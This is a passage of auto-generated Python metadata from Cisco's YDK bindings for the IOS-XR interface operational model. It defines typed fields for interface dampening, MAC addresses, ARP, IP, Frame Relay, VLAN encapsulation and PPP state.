[('0', '4294967295')], [],
''' Configured decay half life in mins
''',
'half_life',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-suppressed-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Flag showing if state is suppressed
''',
'is_suppressed_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('maximum-suppress-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Maximum suppress time in mins
''',
'maximum_suppress_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('penalty', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Dampening penalty of the interface
''',
'penalty',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('restart-penalty', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Configured restart penalty
''',
'restart_penalty',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('reuse-threshold', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Configured reuse threshold
''',
'reuse_threshold',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-remaining', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Remaining period of suppression in secs
''',
'seconds_remaining',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('suppress-threshold', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Value of suppress threshold
''',
'suppress_threshold',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'dampening-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.MacAddress' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.MacAddress',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' MAC Address
''',
'address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'mac-address',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.BurnedInAddress' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.BurnedInAddress',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' MAC Address
''',
'address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'burned-in-address',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.CarrierDelay' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.CarrierDelay',
False,
[
_MetaInfoClassMember('carrier-delay-down', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Carrier delay on state down (ms)
''',
'carrier_delay_down',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('carrier-delay-up', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Carrier delay on state up (ms)
''',
'carrier_delay_up',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'carrier-delay',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.ArpInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.ArpInformation',
False,
[
_MetaInfoClassMember('arp-is-learning-disabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Whether the interface has dynamic learning
disabled
''',
'arp_is_learning_disabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('arp-timeout', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' ARP timeout in seconds. Only valid if
'ARPIsLearningDisabled' is 'false'
''',
'arp_timeout',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('arp-type-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' ARP type name
''',
'arp_type_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'arp-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.IpInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.IpInformation',
False,
[
_MetaInfoClassMember('ip-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Interface IPv4 address
''',
'ip_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('subnet-mask-length', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Interface subnet mask length
''',
'subnet_mask_length',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'ip-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.FrameRelayInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.FrameRelayInformation',
False,
[
_MetaInfoClassMember('enquiries-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of enquiry messages received
''',
'enquiries_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('enquiries-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of enquiry messages sent
''',
'enquiries_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('fr-encapsulation-type', REFERENCE_ENUM_CLASS, 'ImCmdFrTypeEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdFrTypeEnumEnum',
[], [],
''' Frame Relay encapsulation type
''',
'fr_encapsulation_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-dte', ATTRIBUTE, 'bool' , None, None,
[], [],
''' The DTE/DCE LMI interface type
''',
'is_dte',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-lmi-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' The status of FR LMI for an interface
''',
'is_lmi_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-lmi-nni-dce-up', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Flag indicating whether the LMI NNI-DCE state
is UP
''',
'is_lmi_nni_dce_up',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-lmi-up', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Flag indicating whether the LMI DTE/DCE/NNI-DTE
state is UP
''',
'is_lmi_up',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-nni', ATTRIBUTE, 'bool' , None, None,
[], [],
''' The NNI LMI interface type
''',
'is_nni',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('lmi-type', REFERENCE_ENUM_CLASS, 'ImCmdLmiTypeEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdLmiTypeEnumEnum',
[], [],
''' The LMI type: Autosense, ANSI, CCITT or CISCO
''',
'lmi_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('lmidlci', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' LMI DLCI
''',
'lmidlci',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('status-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of status messages received
''',
'status_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('status-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of status messages sent
''',
'status_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('update-status-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of update status messages received
''',
'update_status_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('update-status-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of update status messages sent
''',
'update_status_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'frame-relay-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Stack' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Stack',
False,
[
_MetaInfoClassMember('outer-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Outer tag value
''',
'outer_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('second-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Second tag value
''',
'second_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'stack',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack.LocalTrafficTag' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack.LocalTrafficTag',
False,
[
_MetaInfoClassMember('ethertype', REFERENCE_ENUM_CLASS, 'EfpTagEtypeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'EfpTagEtypeEnum',
[], [],
''' Ethertype of tag
''',
'ethertype',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('vlan-id', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' VLAN Id
''',
'vlan_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'local-traffic-tag',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack',
False,
[
_MetaInfoClassMember('local-traffic-tag', REFERENCE_LIST, 'LocalTrafficTag' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack.LocalTrafficTag',
[], [],
''' VLAN tags for locally-sourced traffic
''',
'local_traffic_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'local-traffic-stack',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch.VlanRange' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch.VlanRange',
False,
[
_MetaInfoClassMember('vlan-id-high', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' VLAN ID High
''',
'vlan_id_high',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('vlan-id-low', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' VLAN ID Low
''',
'vlan_id_low',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'vlan-range',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch',
False,
[
_MetaInfoClassMember('ethertype', REFERENCE_ENUM_CLASS, 'EfpTagEtypeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'EfpTagEtypeEnum',
[], [],
''' Ethertype of tag to match
''',
'ethertype',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'EfpTagPriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'EfpTagPriorityEnum',
[], [],
''' Priority to match
''',
'priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('vlan-range', REFERENCE_LIST, 'VlanRange' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch.VlanRange',
[], [],
''' VLAN Ids to match
''',
'vlan_range',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'tags-to-match',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.Pushe' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.Pushe',
False,
[
_MetaInfoClassMember('ethertype', REFERENCE_ENUM_CLASS, 'EfpTagEtypeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'EfpTagEtypeEnum',
[], [],
''' Ethertype of tag
''',
'ethertype',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('vlan-id', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' VLAN Id
''',
'vlan_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'pushe',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails',
False,
[
_MetaInfoClassMember('destination-mac-match', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' The destination MAC address to match on ingress
''',
'destination_mac_match',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-exact-match', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Whether the packet must match the encapsulation
exactly, with no further inner tags
''',
'is_exact_match',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-native-preserving', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Whether the native VLAN is customer-tag
preserving
''',
'is_native_preserving',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-native-vlan', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Whether this represents the native VLAN on the
port
''',
'is_native_vlan',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('local-traffic-stack', REFERENCE_CLASS, 'LocalTrafficStack' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack',
[], [],
''' VLAN tags for locally-sourced traffic
''',
'local_traffic_stack',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('payload-ethertype', REFERENCE_ENUM_CLASS, 'EfpPayloadEtypeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'EfpPayloadEtypeEnum',
[], [],
''' Payload Ethertype to match
''',
'payload_ethertype',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('pushe', REFERENCE_LIST, 'Pushe' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.Pushe',
[], [],
''' VLAN tags pushed on egress
''',
'pushe',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('source-mac-match', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' The source MAC address to match on ingress
''',
'source_mac_match',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tags-popped', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Number of tags popped on ingress
''',
'tags_popped',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tags-to-match', REFERENCE_LIST, 'TagsToMatch' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch',
[], [],
''' Tags to match on ingress packets
''',
'tags_to_match',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'service-instance-details',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Dot1AdDot1QStack' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Dot1AdDot1QStack',
False,
[
_MetaInfoClassMember('outer-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Outer tag value
''',
'outer_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('second-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Second tag value
''',
'second_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'dot1ad-dot1q-stack',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails',
False,
[
_MetaInfoClassMember('dot1ad-dot1q-stack', REFERENCE_CLASS, 'Dot1AdDot1QStack' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Dot1AdDot1QStack',
[], [],
''' 802.1ad 802.1Q stack value
''',
'dot1ad_dot1q_stack',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('dot1ad-native-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 802.1ad native tag value
''',
'dot1ad_native_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('dot1ad-outer-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 802.1ad Outer tag value
''',
'dot1ad_outer_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('dot1ad-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 802.1ad tag value
''',
'dot1ad_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('native-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Native tag value
''',
'native_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('outer-tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Outer tag value
''',
'outer_tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('service-instance-details', REFERENCE_CLASS, 'ServiceInstanceDetails' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails',
[], [],
''' Service Instance encapsulation
''',
'service_instance_details',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stack', REFERENCE_CLASS, 'Stack' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Stack',
[], [],
''' Stack value
''',
'stack',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Tag value
''',
'tag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('vlan-encapsulation', REFERENCE_ENUM_CLASS, 'VlanEncapsEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'VlanEncapsEnum',
[], [],
''' VLANEncapsulation
''',
'vlan_encapsulation',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'encapsulation-details',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation',
False,
[
_MetaInfoClassMember('encapsulation-details', REFERENCE_CLASS, 'EncapsulationDetails' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails',
[], [],
''' Encapsulation type and tag stack
''',
'encapsulation_details',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'dot1q-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation.NcpInfoArray' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation.NcpInfoArray',
False,
[
_MetaInfoClassMember('ncp-identifier', REFERENCE_ENUM_CLASS, 'NcpIdentEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'NcpIdentEnum',
[], [],
''' NCP state identifier
''',
'ncp_identifier',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ncp-state', REFERENCE_ENUM_CLASS, 'PppFsmStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'PppFsmStateEnum',
[], [],
''' NCP state value
''',
'ncp_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'ncp-info-array',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation',
False,
[
_MetaInfoClassMember('is-loopback-detected', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Loopback detected
''',
'is_loopback_detected',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-mp-bundle-member', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' MP Bundle Member
''',
'is_mp_bundle_member',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-multilink-open', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is Multilink Open
''',
'is_multilink_open',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('keepalive-period', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Keepalive value
''',
'keepalive_period',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('lcp-state', REFERENCE_ENUM_CLASS, 'PppFsmStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'PppFsmStateEnum',
[], [],
''' LCP State
''',
'lcp_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ncp-info-array', REFERENCE_LIST, 'NcpInfoArray' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation.NcpInfoArray',
[], [],
''' Array of per-NCP data
''',
'ncp_info_array',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'ppp-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.EncapsulationInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.EncapsulationInformation',
False,
[
_MetaInfoClassMember('dot1q-information', REFERENCE_CLASS, 'Dot1QInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation',
[], [],
''' VLAN 802.1q information
''',
'dot1q_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation-type', REFERENCE_ENUM_CLASS, 'ImCmdEncapsEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdEncapsEnumEnum',
[], [],
''' EncapsulationType
''',
'encapsulation_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('frame-relay-information', REFERENCE_CLASS, 'FrameRelayInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation.FrameRelayInformation',
[], [],
''' Frame Relay information
''',
'frame_relay_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
